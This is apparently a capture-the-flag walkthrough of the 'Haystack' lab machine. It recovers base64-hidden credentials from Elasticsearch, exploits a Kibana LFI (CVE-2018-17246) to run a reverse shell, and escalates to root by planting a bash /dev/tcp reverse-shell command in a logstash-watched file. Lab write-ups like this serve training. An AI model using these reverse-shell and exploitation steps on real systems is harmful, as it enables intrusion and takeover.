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  1. nmap -Pn -sC -sV 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http nginx 1.12.2 9200/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: 502 Bad Gateway

  2. Download the image from

  3. strings needle.jpg shows base64 code at the end: bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

    Decrypt gives us following Spanish text: la aguja en el pajar es “clave” .. or in English: the needle in the haystack is “key”

  4. Clustername “elasticsearch” hints on how to move on. Googling elasticsearch gives the URI-syntax _search?q=WORD https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html “Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg “ “I have to save the key for the machine: dXNlcjogc2VjdXJpdHkg”

    “Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=” “This key cannot be lost, I save it here: cGFzczogc3BhbmlzaC5pcy5rZXk=”

  5. Decrypt the keys (base64): dXNlcjogc2VjdXJpdHkg –> user: security cGFzczogc3BhbmlzaC5pcy5rZXk= –> pass: spanish.is.key

  6. SSH with user/pass given above. [security@haystack ~]$ whoami security [security@haystack ~]$ cd /home/security/ [security@haystack ~]$ ls -al total 16 drwx——. 2 security security 99 Feb 6 2019 . drwxr-xr-x. 3 root root 22 Nov 28 2018 .. lrwxrwxrwx. 1 root root 9 Jan 25 2019 .bash_history -> /dev/null -rw-r–r–. 1 security security 18 Apr 10 2018 .bash_logout -rw-r–r–. 1 security security 193 Apr 10 2018 .bash_profile -rw-r–r–. 1 security security 231 Apr 10 2018 .bashrc -rw-r–r–. 1 security security 33 Feb 6 2019 user.txt [security@haystack ~]$ cat user.txt 04d*************


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  1. Scan system with lse to find vulns. Under “Processes running with root permissions” we can find a lot of output regarding logstash. Reading up on logstash it is used for Kibana. Kibana uses port 5601 which is running locally.

    [security@haystack shm]$ ./lse.sh -l1 [] net000 Services listening only on localhost………………………. yes! tcp LISTEN 0 128 *:

  2. Setup a (remote) SSH tunnel to access the service from the attacking host. Remotly from Haystack: ssh -R 5601: p3@ Or locally from Kali: ssh -L 5601:localhost:5601 security@

    Open a web browser to and you’ll reach Kibana.

  3. Kibana runs version 6.4.2 and is vulnerable for LFI (CVE-2018-17246) https://github.com/mpgn/CVE-2018-17246

    Upload a .js reverse shell to /dev/shm, start netcat locally and run the LFI:…/../../../dev/shm/node-rev.js

  4. We don’t get immediate root access with user kibana, so better upgrade to a proper shell root@p3:/opt/shells# nc -lnvp 4488 listening on [any] 4488 … connect to [] from (UNKNOWN) [] 41040 whoami kibana cd /root /bin/sh: línea 3: cd: /root: Permiso denegado

  5. Using lse.sh again we can see that dir /etc/logstash/conf.d is writable and has three interesting config files; filter.conf, input.conf, output.config input.conf looks for a file to execute every 10s in path /opt/kibana/ with filename logstash_*, however it must match the syntax of filter.conf

  6. Create a reverse shell to be executed, matching input.conf and filter.conf bash-4.2$ echo “Ejecutar comando : bash -i >& /dev/tcp/ 0>&1” > /opt/kibana/logstash_p3.txt

  7. Start netcat and wait for the incoming root shell root@p3:/opt/shells$ nc -lnvp 3366 listening on [any] 3366 … connect to [] from (UNKNOWN) [] 60796 bash: no hay control de trabajos en este shell [root@haystack /]# whoami whoami root [root@haystack /]# cat /root/root.txt cat /root/root.txt 3f5**********